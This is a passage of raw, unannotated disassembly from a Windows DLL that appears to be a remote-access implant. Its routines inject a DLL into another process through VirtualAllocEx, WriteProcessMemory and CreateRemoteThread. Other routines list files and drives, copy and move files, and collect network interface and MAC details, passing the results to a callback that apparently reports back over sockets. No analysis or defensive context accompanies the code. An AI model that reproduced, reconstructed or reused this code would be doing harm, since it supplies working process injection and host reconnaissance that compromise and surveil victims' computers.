mov edx, eax
call fcn.18000d508
jmp 0x180010ca9
mov rcx, qword [0x18003d020]
mov edx, 0x3a98
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, rsi
call fcn.1800110a8
mov rcx, rsi
call fcn.180010fbc
mov rcx, r14
call fcn.180015400
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
mov rdi, qword [rsp + 0x68]
add rsp, 0x40
pop r14
ret
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x50
mov rdi, rcx
mov ecx, 0x1000
mov r13, r8
mov ebx, edx
call fcn.180015378
mov r14d, 0x800
mov rcx, rax
mov edx, r14d
mov rbp, rax
call fcn.18001546c
mov edx, r14d
mov rcx, rbp
mov rsi, rax
call fcn.18001546c
lea rcx, [rsp + 0x38]
mov r8d, ebx
mov rdx, rdi
mov r12, rax
call fcn.180015424
lea rcx, [rsp + 0x38]
mov r8d, r14d
mov rdx, rsi
call fcn.180015570
lea rdx, [0x18002cac4]
mov rcx, rsi
call fcn.18001b580
mov rdi, rax
lea rcx, [rax - 1]
cmp rcx, 0xfffffffffffffffd
ja 0x180011bfc
xor edx, edx
mov rcx, rax
lea r8d, [rdx + 2]
call fcn.18001bc18
mov rcx, rdi
call fcn.18001bc8c
xor r8d, r8d
xor edx, edx
mov rcx, rdi
mov r15, rax
call fcn.18001bc18
lea rcx, [r15 - 1]
mov eax, 0xfffffffe
cmp rcx, rax
ja 0x180011bdd
xor r9d, r9d
mov r8, r12
mov edx, r14d
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_GetFullPathNameA]
mov r14d, eax
lea ecx, [rax - 1]
cmp ecx, 0x7ff
ja 0x180011bd6
mov ecx, 0x18
call fcn.180019c7c
mov rcx, qword [0x18003f4a0]
mov r8d, dword [0x18003f4a8]
mov qword [rax + 0x10], rcx
mov dword [rax], r8d
inc r8d
lea rcx, [rsp + 0x20]
mov edx, 0x1000
mov rbx, rax
mov qword [rax + 8], rdi
mov dword [rax + 4], r15d
mov qword [0x18003f4a0], rax
mov dword [0x18003f4a8], r8d
call fcn.18000d0c4
mov edx, dword [rbx]
lea rcx, [rsp + 0x20]
call fcn.18000d0f4
lea rcx, [rsp + 0x20]
mov edx, r15d
call fcn.18000d0f4
lea rcx, [rsp + 0x20]
mov r8d, r14d
mov rdx, r12
call fcn.18000d038
lea rcx, [rsp + 0x20]
call fcn.180015468
lea rcx, [rsp + 0x20]
mov ebx, eax
call fcn.18000d184
mov r8d, 2
mov rcx, rax
mov edx, ebx
call r13
lea rcx, [rsp + 0x20]
call fcn.18000d0a0
jmp 0x180011c09
mov ecx, 0x3d
jmp 0x180011be2
mov ecx, 0x3c
mov rdx, rsi
call fcn.18000d5e4
mov rcx, rbp
call fcn.180015400
mov rcx, rdi
call fcn.18001b440
jmp 0x180011c11
mov rdx, rsi
mov ecx, 0x28
call fcn.18000d5e4
mov rcx, rbp
call fcn.180015400
lea r11, [rsp + 0x50]
mov rbx, qword [r11 + 0x30]
mov rbp, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rdi
ret
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x20
mov ecx, dword [rcx]
mov rbx, qword [0x18003f4a0]
call sub.WS2_32.dll_ntohl
mov edi, eax
jmp 0x180011c61
cmp dword [rbx], edi
jne 0x180011c5d
mov rcx, qword [rbx + 8]
and dword [rbx + 4], 0
call fcn.18001b440
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x180011c4c
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
ret
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x40
mov rsi, rcx
mov ecx, 0x4000
mov edi, edx
call fcn.180015378
mov edx, 0x2000
mov rcx, rax
mov r14, rax
call fcn.18001546c
mov edx, 0x2000
mov rcx, r14
mov rbp, rax
call fcn.18001546c
lea rcx, [rsp + 0x20]
mov r8d, edi
mov rdx, rsi
mov rbx, rax
call fcn.180015424
lea rcx, [rsp + 0x20]
mov r8d, 0x2000
mov rdx, rbp
call fcn.1800154cc
lea rcx, [rsp + 0x20]
mov r8d, 0x2000
mov rdx, rbx
call fcn.1800154cc
xor r8d, r8d
mov rdx, rbx
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_CopyFileA]
test eax, eax
jne 0x180011eb6
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, reloc.WS2_32.dll_listen
mov edx, eax
call fcn.18000d508
mov rcx, r14
call fcn.180015400
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
mov rdi, qword [rsp + 0x68]
add rsp, 0x40
pop r14
ret
push rbx
sub rsp, 0x40
mov r8d, edx
mov rdx, rcx
lea rcx, [rsp + 0x20]
call fcn.180015424
lea rcx, [rsp + 0x20]
mov edx, 0x4000
call fcn.1800155b8
mov rcx, rax
mov rbx, rax
call fcn.180012438
mov rcx, rbx
test eax, eax
je 0x180011f29
lea rdx, [0x180012354]
call fcn.1800177d8
mov rcx, rbx
call fcn.18001c108
jmp 0x180011f2e
call fcn.18001bfdc
mov rcx, rbx
call fcn.180019c3c
add rsp, 0x40
pop rbx
ret
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x50
mov rdi, r8
mov r8d, edx
mov rdx, rcx
lea rcx, [rsp + 0x38]
call fcn.180015424
lea rcx, [rsp + 0x20]
mov edx, 0x80
call fcn.18000d0c4
lea rcx, [rsp + 0x38]
call fcn.180015434
lea rcx, [rsp + 0x20]
mov edx, eax
call fcn.18000d0f4
call qword [sym.imp.KERNEL32.dll_GetLogicalDrives]
lea rdx, [0x18002cac8]
lea rcx, [rsp + 0x20]
mov r8d, eax
call fcn.18000d124
lea rcx, [rsp + 0x20]
call fcn.180015468
lea rcx, [rsp + 0x20]
mov ebx, eax
call fcn.18000d184
mov r8d, reloc.WS2_32.dll_shutdown
mov rcx, rax
mov edx, ebx
call rdi
lea rcx, [rsp + 0x20]
call fcn.18000d0a0
mov rbx, qword [rsp + 0x60]
add rsp, 0x50
pop rdi
ret
mov qword [rsp + 0x20], rbx
push rbp
push rsi
push rdi
push r14
push r15
lea rbp, [rsp - 0x100]
sub rsp, 0x200
mov rax, qword [0x18003e040]
xor rax, rsp
mov qword [rbp + 0xf0], rax
mov rbx, rcx
mov r15d, 0x4000
mov r14, r8
mov ecx, r15d
mov edi, edx
call fcn.180019c7c
mov r8d, r15d
xor edx, edx
mov rcx, rax
mov rsi, rax
call fcn.180019f30
lea rcx, [rsp + 0x70]
mov r8d, edi
mov rdx, rbx
call fcn.180015424
lea rcx, [rsp + 0x70]
call fcn.180015434
lea rcx, [rsp + 0x70]
mov r8d, r15d
mov rdx, rsi
mov ebx, eax
call fcn.1800154cc
lea rcx, [rsp + 0x50]
mov edx, 0x200000
call fcn.18000d0c4
lea rcx, [rsp + 0x50]
mov edx, ebx
call fcn.18000d0f4
lea rdx, [0x18002cad4]
mov r8d, r15d
mov rcx, rsi
call fcn.18001c040
test eax, eax
jne 0x1800120a3
mov rdx, rsi
mov ecx, r15d
call qword [sym.imp.KERNEL32.dll_GetCurrentDirectoryA]
lea r8, [0x18002cad8]
mov r9d, 2
mov edx, r15d
mov rcx, rsi
call fcn.18001b7ac
lea rdx, [0x18002c750]
lea rcx, [rsp + 0x50]
mov r8, rsi
call fcn.18000d124
lea rdx, [rbp - 0x50]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov rbx, rax
cmp rax, 0xffffffffffffffff
jne 0x180012112
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea ecx, [rbx + 0x35]
mov rdx, rsi
mov r8d, eax
call fcn.18000d5f4
lea rcx, [rsp + 0x50]
call fcn.180015468
lea rcx, [rsp + 0x50]
mov ebx, eax
call fcn.18000d184
mov r8d, reloc.WS2_32.dll_shutdown
mov rcx, rax
mov edx, ebx
call r14
mov rcx, rsi
call fcn.180019c3c
jmp 0x18001221a
mov rcx, rsi
call fcn.180019c3c
lea rdx, [rbp - 0x68]
lea rcx, [rbp - 0x3c]
call qword [sym.imp.KERNEL32.dll_FileTimeToSystemTime]
lea r8, [rbp - 0x78]
lea rdx, [rbp - 0x68]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SystemTimeToTzSpecificLocalTime]
test byte [rbp - 0x50], 0x10
movzx ecx, word [rbp - 0x6e]
movzx edx, word [rbp - 0x70]
lea r11, [rbp - 0x24]
je 0x180012186
movzx eax, word [rbp - 0x6c]
movzx r10d, word [rbp - 0x78]
movzx r9d, word [rbp - 0x72]
movzx r8d, word [rbp - 0x76]
mov qword [rsp + 0x40], r11
mov dword [rsp + 0x38], eax
mov dword [rsp + 0x30], ecx
mov dword [rsp + 0x28], edx
lea rdx, str.D_t0_t_02d__02d__02d__02d:_02d:_02d_t_s_n
lea rcx, [rsp + 0x50]
mov dword [rsp + 0x20], r10d
call fcn.18000d124
jmp 0x1800121d8
mov eax, dword [rbp - 0x30]
movzx r8d, word [rbp - 0x78]
movzx r10d, word [rbp - 0x72]
movzx r9d, word [rbp - 0x76]
mov qword [rsp + 0x48], r11
mov dword [rsp + 0x68], eax
mov eax, dword [rbp - 0x34]
mov dword [rsp + 0x6c], eax
movzx eax, word [rbp - 0x6c]
mov dword [rsp + 0x40], eax
mov dword [rsp + 0x38], ecx
mov dword [rsp + 0x30], edx
mov dword [rsp + 0x28], r8d
mov r8, qword [rsp + 0x68]
lea rdx, str.F_t_I64d_t_02d__02d__02d__02d:_02d:_02d_t_s_n
lea rcx, [rsp + 0x50]
mov dword [rsp + 0x20], r10d
call fcn.18000d124
lea rdx, [rbp - 0x50]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x18001211a
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FindClose]
lea rcx, [rsp + 0x50]
call fcn.180015468
lea rcx, [rsp + 0x50]
mov ebx, eax
call fcn.18000d184
mov r8d, reloc.WS2_32.dll_shutdown
mov rcx, rax
mov edx, ebx
call r14
lea rcx, [rsp + 0x50]
call fcn.18000d0a0
mov rcx, qword [rbp + 0xf0]
xor rcx, rsp
call fcn.18001ab10
mov rbx, qword [rsp + 0x248]
add rsp, 0x200
pop r15
pop r14
pop rdi
pop rsi
pop rbp
ret
push rbx
sub rsp, 0x40
mov r8d, edx
mov rdx, rcx
lea rcx, [rsp + 0x20]
call fcn.180015424
lea rcx, [rsp + 0x20]
mov edx, 0x4000
call fcn.1800155b8
mov rcx, rax
mov rbx, rax
call fcn.18001c0c0
mov rcx, rbx
call fcn.180019c3c
add rsp, 0x40
pop rbx
ret
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x40
mov rsi, rcx
mov ecx, 0x4000
mov edi, edx
call fcn.180015378
mov edx, 0x2000
mov rcx, rax
mov r14, rax
call fcn.18001546c
mov edx, 0x2000
mov rcx, r14
mov rbp, rax
call fcn.18001546c
lea rcx, [rsp + 0x20]
mov r8d, edi
mov rdx, rsi
mov rbx, rax
call fcn.180015424
lea rcx, [rsp + 0x20]
mov r8d, 0x2000
mov rdx, rbp
call fcn.1800154cc
lea rcx, [rsp + 0x20]
mov r8d, 0x2000
mov rdx, rbx
call fcn.1800154cc
mov rdx, rbx
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_MoveFileA]
test eax, eax
jne 0x18001232f
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, reloc.WS2_32.dll_ntohl
mov edx, eax
call fcn.18000d508
mov rcx, r14
call fcn.180015400
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
mov rdi, qword [rsp + 0x68]
add rsp, 0x40
pop r14
ret
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x20], rsi
push rdi
push r14
push r15
sub rsp, 0x60
mov r8d, edx
mov rdx, rcx
lea rcx, [rax - 0x38]
call fcn.180015424
lea rcx, [rsp + 0x40]
call fcn.180015434
lea rcx, [rsp + 0x40]
mov esi, eax
call fcn.1800153e8
lea rcx, [rsp + 0x40]
mov r14, rax
call fcn.180015468
mov r15d, eax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
cmp eax, esi
jne 0x18001284d
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
jmp 0x180012959
mov r8d, esi
xor edx, edx
mov ecx, 0x43a
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rdi, rax
test rax, rax
jne 0x18001287d
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea ecx, [rdi + 0x21]
mov edx, esi
mov r8d, eax
call fcn.18000d514
jmp 0x180012959
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
call fcn.180017744
mov rcx, rdi
mov ebx, eax
call fcn.180017744
cmp ebx, eax
je 0x1800128a8
mov ecx, 0x3e
call fcn.18000d5d4
jmp 0x180012950
mov r9d, 0x3000
mov r8, r15
xor edx, edx
mov rcx, rdi
mov dword [rsp + 0x20], 0x40
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov rbx, rax
test rax, rax
jne 0x1800128da
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, r15d
lea ecx, [rbx + 0x1f]
jmp 0x180012948
lea rax, [rsp + 0x90]
mov r9, r15
mov r8, r14
mov rdx, rbx
mov rcx, rdi
mov qword [rsp + 0x20], rax
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x180012911
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, reloc.WS2_32.dll_recv
mov edx, eax
call fcn.18000d508
jmp 0x180012950
and qword [rsp + 0x30], 0
mov r9, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
and dword [rsp + 0x28], 0
xor r8d, r8d
xor edx, edx
mov rcx, rdi
mov qword [rsp + 0x20], rbx
call qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
test rax, rax
jne 0x180012950
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, esi
mov ecx, 0x20
mov r8d, eax
call fcn.18000d514
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea r11, [rsp + 0x60]
mov rbx, qword [r11 + 0x20]
mov rbp, qword [r11 + 0x28]
mov rsi, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop rdi
ret
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x18], rbp
mov qword [rax + 0x20], rsi
push rdi
sub rsp, 0x20
mov rdi, rcx
movzx ecx, word [rcx]
mov esi, r9d
mov rbp, r8
mov ebx, edx
mov word [rax + 0x10], cx
call sub.WS2_32.dll_ntohs
lea edx, [rbx - 2]
lea rcx, [rdi + 2]
mov r8d, esi
mov word [rsp + 0x38], ax
call fcn.180012a98
movzx ecx, word [rsp + 0x38]
call sub.WS2_32.dll_htons
mov edx, 2
lea rcx, [rsp + 0x38]
lea r8d, [rdx + 5]
mov word [rsp + 0x38], ax
call rbp
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x48]
add rsp, 0x20
pop rdi
ret
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x18], rbp
mov qword [rax + 0x20], rsi
push rdi
sub rsp, 0x20
mov rdi, rcx
movzx ecx, word [rcx]
mov rbp, r9
mov esi, r8d
mov ebx, edx
mov word [rax + 0x10], cx
call sub.WS2_32.dll_ntohs
lea edx, [rbx - 2]
lea rcx, [rdi + 2]
mov r9d, 1
mov r8d, esi
mov word [rsp + 0x38], ax
call fcn.180012974
movzx ecx, word [rsp + 0x38]
call sub.WS2_32.dll_htons
mov edx, 2
lea rcx, [rsp + 0x38]
lea r8d, [rdx + 5]
mov word [rsp + 0x38], ax
call rbp
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x48]
add rsp, 0x20
pop rdi
ret
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x90
mov rdi, rcx
mov esi, 0x40
mov r15d, r9d
mov ecx, esi
mov r12d, r8d
mov ebx, edx
call fcn.180015378
mov edx, esi
mov rcx, rax
mov rbp, rax
call fcn.18001546c
lea rcx, [rsp + 0x70]
mov r8d, ebx
mov rdx, rdi
mov r14, rax
call fcn.180015424
lea rcx, [rsp + 0x70]
call fcn.180015494
lea rcx, [rsp + 0x70]
movzx r13d, ax
call fcn.180015494
lea rcx, [rsp + 0x70]
movzx eax, ax
mov dword [rsp + 0x68], eax
call fcn.180015434
lea rcx, [rsp + 0x70]
mov r8d, esi
mov rdx, r14
mov dword [rsp + 0x64], eax
call fcn.1800154cc
lea rcx, [rsp + 0x70]
mov dword [rsp + 0x60], eax
call fcn.180015434
xor esi, esi
mov edi, eax
test eax, eax
je 0x180012d28
lea rcx, [rsp + 0x70]
mov edx, eax
call fcn.18001546c
mov rsi, rax
lea rcx, [rsp + 0x70]
call fcn.1800153e8
lea rcx, [rsp + 0x70]
mov rbx, rax
call fcn.180015468
mov ecx, dword [rsp + 0x60]
mov r8d, dword [rsp + 0x64]
mov edx, dword [rsp + 0x68]
mov dword [rsp + 0x50], r15d
mov dword [rsp + 0x48], r12d
mov dword [rsp + 0x40], ecx
mov qword [rsp + 0x38], r14
mov dword [rsp + 0x30], edi
mov r9, rbx
mov ecx, r13d
mov qword [rsp + 0x28], rsi
mov dword [rsp + 0x20], eax
call fcn.180012da0
mov rcx, rbp
call fcn.180015400
lea r11, [rsp + 0x90]
mov rbx, qword [r11 + 0x30]
mov rbp, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rdi
ret
sub rsp, 0x48
mov r8d, edx
mov rdx, rcx
lea rcx, [rsp + 0x20]
call fcn.180015424
lea rcx, [rsp + 0x20]
call fcn.180015434
mov dword [0x18003f4c8], eax
test eax, eax
je 0x180012fa5
mov ecx, eax
call fcn.1800133f8
test eax, eax
jne 0x180012fa5
mov edx, dword [0x18003f4c8]
lea ecx, [rax + 0xf]
call fcn.18000d508
add rsp, 0x48
ret
mov qword [rsp + 0x20], rbx
push rbp
push rsi
push rdi
push r14
push r15
lea rbp, [rsp - 0x2d0]
sub rsp, 0x3d0
mov rax, qword [0x18003e040]
xor rax, rsp
mov qword [rbp + 0x2c0], rax
mov r15, r8
mov r8d, edx
mov rdx, rcx
lea rcx, [rsp + 0x40]
mov dword [rsp + 0x20], 0x318
call fcn.180015424
lea rcx, [rsp + 0x40]
call fcn.180015434
lea rcx, [rsp + 0x28]
mov edx, 0x8000
mov ebx, eax
call fcn.18000d0c4
lea rcx, [rsp + 0x28]
mov edx, ebx
call fcn.18000d0f4
mov ecx, dword [rsp + 0x20]
call fcn.180019c7c
mov rdi, rax
test rax, rax
je 0x180013acb
lea rdx, [rsp + 0x20]
mov r8d, 1
mov rcx, rax
call sub.IPHLPAPI.DLL_GetIpAddrTable
test eax, eax
jne 0x180013acb
xor ebx, ebx
cmp dword [rdi], ebx
jbe 0x180013a9f
lea rsi, [rbx + rbx*2]
lea rcx, [rsp + 0x60]
mov eax, dword [rdi + rsi*8 + 8]
mov dword [rbp + 0x160], eax
call sub.IPHLPAPI.DLL_GetIfEntry
test eax, eax
jne 0x180013a95
cmp dword [rbp + 0x170], eax
jbe 0x180013a95
mov ecx, dword [rdi + rsi*8 + 4]
call qword [sym.imp.WS2_32.dll_inet_ntoa]
lea rdx, [0x18002cb9c]
lea rcx, [rsp + 0x28]
mov r8, rax
call fcn.18000d124
mov ecx, dword [rdi + rsi*8 + 0xc]
call qword [sym.imp.WS2_32.dll_inet_ntoa]
lea rdx, [0x18002cb9c]
lea rcx, [rsp + 0x28]
mov r8, rax
call fcn.18000d124
mov r8d, dword [rbp + 0x168]
lea rdx, str._ld_t
lea rcx, [rsp + 0x28]
call fcn.18000d124
mov eax, dword [rbp + 0x170]
xor r14d, r14d
test eax, eax
je 0x180013a84
lea rsi, [rbp + 0x174]
movzx r8d, byte [rsi]
dec eax
lea rcx, [rsp + 0x28]
lea rdx, str._.2X
cmp r14d, eax
je 0x180013a6e
lea rdx, str._.2X:
call fcn.18000d124
mov eax, dword [rbp + 0x170]
inc r14d
inc rsi
cmp r14d, eax
jb 0x180013a50
lea rdx, reloc.WS2_32.dll_ioctlsocket
lea rcx, [rsp + 0x28]
call fcn.18000d124
inc ebx
cmp ebx, dword [rdi]
jb 0x1800139bc
lea rcx, [rsp + 0x28]
call fcn.180015468
lea rcx, [rsp + 0x28]
mov ebx, eax
call fcn.18000d184
mov r8d, reloc.WS2_32.dll_shutdown
mov rcx, rax
mov edx, ebx
call r15
mov rcx, rdi
call fcn.180019c3c
lea rcx, [rsp + 0x28]
call fcn.18000d0a0
mov rcx, qword [rbp + 0x2c0]
xor rcx, rsp
call fcn.18001ab10
mov rbx, qword [rsp + 0x418]
add rsp, 0x3d0
pop r15
pop r14
pop rdi
pop rsi
pop rbp
ret
push rbx
sub rsp, 0x40
mov rbx, qword [0x18003f4d0]
mov r8d, edx
mov rdx, rcx
lea rcx, [rsp + 0x20]
call fcn.180015424
lea rcx, [rsp + 0x20]
call fcn.180015494
movzx eax, ax
jmp 0x180013bfd
cmp dword [rbx], eax
jne 0x180013bf9
mov ecx, 1
mov word [rbx + 0x3a], cx
mov rbx, qword [rbx + 0x30]
test rbx, rbx
jne 0x180013bec
call fcn.1800140f4
add rsp, 0x40
pop rbx
ret
mov qword [rsp + 0x18], rbx
mov qword [rsp + 0x20], rsi
push rbp
push rdi
push r12
push r14
push r15
lea rbp, [rsp - 0x37]
sub rsp, 0xd0
mov rax, qword [0x18003e040]
xor rax, rsp
mov qword [rbp + 0x27], rax
mov rbx, rcx
mov r14d, r8d
mov edi, edx
mov esi, 0x3f
lea rcx, [rbp - 0x58]
xor edx, edx
mov r8d, esi
mov byte [rbp - 0x59], 0
call fcn.180019f30
lea rcx, [rbp - 0x18]
mov r8d, esi
xor edx, edx
mov byte [rbp - 0x19], 0
call fcn.180019f30
lea rcx, [rbp - 0x71]
mov r8d, edi
mov rdx, rbx
call fcn.180015424
lea rcx, [rbp - 0x71]
call fcn.180015434
lea rcx, [rbp - 0x71]
mov r15d, eax
call fcn.180015494
lea rcx, [rbp - 0x71]
movzx r12d, ax
call fcn.180015494
mov ebx, 0x40
lea rdx, [rbp - 0x59]
lea rcx, [rbp - 0x71]
mov r8d, ebx
movzx esi, ax
call fcn.1800154cc
test eax, eax
je 0x180013d37
lea rdx, [rbp - 0x19]
lea rcx, [rbp - 0x71]
mov r8d, ebx
call fcn.1800154cc
test eax, eax
je 0x180013d37
neg r14d
sbb edi, edi
and edi, 0x20000
xor ebx, ebx
lea rdx, [rbp - 0x79]
lea rcx, [rbp - 0x59]
mov r8d, edi
call fcn.180013dec
test eax, eax
jne 0x180013d15
mov ecx, 0x1f4
call qword [sym.imp.KERNEL32.dll_Sleep]
inc ebx
cmp ebx, 0x14
jl 0x180013cdb
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, socket
mov edx, eax
call fcn.18000d508
jmp 0x180013d37
test esi, esi
je 0x180013d24
mov rcx, qword [rbp - 0x79]
mov edx, esi
call fcn.180013f0c
mov rcx, qword [rbp - 0x79]
lea r9, [rbp - 0x19]
mov r8d, r12d
mov edx, r15d
call fcn.180013e88
mov rcx, qword [rbp + 0x27]
xor rcx, rsp
call fcn.18001ab10
lea r11, [rsp + 0xd0]
mov rbx, qword [r11 + 0x40]
mov rsi, qword [r11 + 0x48]
mov rsp, r11
pop r15
pop r14
pop r12
pop rdi
pop rbp
ret
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x50
mov rbx, qword [0x18003f4d0]
mov rdi, rcx
lea rcx, [rsp + 0x30]
mov edx, 0x8000
call fcn.18000d0c4
jmp 0x180013da5
mov r9d, dword [rbx + 0x3c]
mov r8d, dword [rbx]
lea rax, [rbx + 0x44]
lea rdx, str._d_t_d_t_s_n
mov qword [rsp + 0x20], rax
call fcn.18000d124
mov rbx, qword [rbx + 0x30]
lea rcx, [rsp + 0x30]
test rbx, rbx
jne 0x180013d85
call fcn.180015468
lea rcx, [rsp + 0x30]
mov ebx, eax
call fcn.18000d184
mov r8d, socket
mov rcx, rax
mov edx, ebx
call rdi
lea rcx, [rsp + 0x30]
call fcn.18000d0a0
mov rbx, qword [rsp + 0x60]
add rsp, 0x50
pop rdi
ret
mov qword [rsp + 0x20], rbx
push rbp
mov rbp, rsp
sub rsp, 0x60
xor ebx, ebx
mov qword [rbp - 0x30], 6
mov qword [rbp - 0x28], rbx
mov dword [rbp - 0x20], ebx
mov qword [rbp - 0x18], rbx
mov dword [rbp - 0x10], ebx
mov qword [rbp - 8], rbx
call fcn.180014480
lea rax, [rbp + 0x10]
lea r9, [rbp + 0x18]
lea r8, [rbp + 0x20]
lea edx, [rbx + 0x30]
lea rcx, [rbp - 0x30]
mov qword [rsp + 0x20], rax
call fcn.18001432c
test eax, eax
js 0x1800143cc
cmp dword [rbp + 0x10], ebx
jge 0x1800143d8
mov edx, eax
mov ecx, 0x1c
call fcn.18000d508
mov rbx, qword [rsp + 0x88]
add rsp, 0x60
pop rbp
ret
mov qword [rsp + 8], rbx
push rbp
push rsi
push rdi
sub rsp, 0x30
mov edi, edx
mov rbp, rcx
call fcn.180014480
lea esi, [rdi + 0x24]
mov ecx, 0x40
mov edx, esi
call qword [sym.imp.KERNEL32.dll_LocalAlloc]
mov rbx, rax
test rax, rax
je 0x180014473
lea rcx, [rax + 0x24]
mov r8d, edi
mov rdx, rbp
mov dword [rax], socket
mov dword [rax + 0x1c], edi
mov dword [rax + 0x20], 0x24
call fcn.18001a590
lea rax, [rsp + 0x58]
lea r9, [rsp + 0x60]
lea r8, [rsp + 0x68]
mov edx, esi
mov rcx, rbx
mov qword [rsp + 0x20], rax
call fcn.18001432c
test eax, eax
js 0x18001445e
cmp dword [rsp + 0x58], 0
jge 0x18001446a
mov edx, eax
mov ecx, 0x1d
call fcn.18000d508
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_LocalFree]
mov rbx, qword [rsp + 0x50]
add rsp, 0x30
pop rdi
pop rsi
pop rbp
ret
push rbx
sub rsp, 0x20
mov ecx, dword [rcx]
mov rbx, r8
call qword [sym.imp.WS2_32.dll_ntohl]
lea r9, [0x18003f500]
xor edx, edx
mov rcx, r9
cmp dword [rcx + 0x48], 1
jne 0x1800144f7
cmp dword [rcx], eax
je 0x18001450b
lea r8, [0x180040400]
add rcx, 0x60
inc edx
cmp rcx, r8
jge 0x180014528
jmp 0x1800144ed
movsxd rax, edx
mov r8d, 0xa
lea rcx, [rax + rax*2]
shl rcx, 5
mov edx, dword [rcx + r9 + 0x58]
mov rcx, qword [rcx + r9 + 0x50]
call rbx
add rsp, 0x20
pop rbx
ret
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x20
cmp qword [0x18003f4f0], 0
mov rdi, r8
mov r15d, edx
mov r14, rcx
jne 0x180014570
mov ecx, 0x100000
call fcn.180019c7c
mov qword [0x18003f4f0], rax
mov r13d, dword [r14]
sub r15d, 4
mov ecx, r13d
call qword [sym.imp.WS2_32.dll_ntohl]
xor ebp, ebp
lea rbx, [0x18003f520]
mov esi, eax
lea rdx, [0x18003f500]
cmp dword [rbx - 0x20], esi
jne 0x18001463c
cmp dword [rbx + 0x28], 1
jne 0x18001463c
lea r12, [rdx + 8]
movsxd rax, ebp
mov r8d, r15d
lea rcx, [rax + rax*2]
lea rdx, [r14 + 4]
shl rcx, 5
add r12, rcx
mov rcx, r12
test r15d, r15d
jg 0x1800145cc
mov r8d, 1
call qword [rbx]
test eax, eax
je 0x18001464c
mov rax, qword [0x18003f4f0]
mov edx, 0x493e0
mov rcx, r12
mov dword [rax], r13d
call qword [rbx + 0x18]
test eax, eax
je 0x180014604
mov rdx, qword [0x18003f4f0]
mov r8d, 0xffffc
mov rcx, r12
add rdx, 4
call qword [rbx - 8]
jmp 0x180014607
or eax, 0xffffffff
cmp eax, 1
jle 0x180014620
lea edx, [rax + 4]
mov rcx, qword [0x18003f4f0]
mov r8d, reloc.WS2_32.dll_inet_ntoa
call rdi
jmp 0x180014635
test eax, eax
jne 0x180014629
lea edx, [rax + 4]
jmp 0x18001460f
jns 0x180014635
mov rdx, rdi
mov ecx, esi
call fcn.180014904
lea rdx, [0x18003f500]
inc ebp
add rbx, 0x60
cmp ebp, 0x28
jge 0x180014656
jmp 0x180014592
mov rdx, rdi
mov ecx, esi
call fcn.180014904
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
add rsp, 0x20
pop r15
pop r14
pop r13
pop r12
pop rdi
ret
push rbx
sub rsp, 0x20
mov ecx, dword [rcx]
mov rbx, r8
call qword [sym.imp.WS2_32.dll_ntohl]
mov rdx, rbx
mov ecx, eax
add rsp, 0x20
pop rbx
jmp fcn.180014904
mov rdx, r8
jmp 0x180014aa4
mov rax, rsp
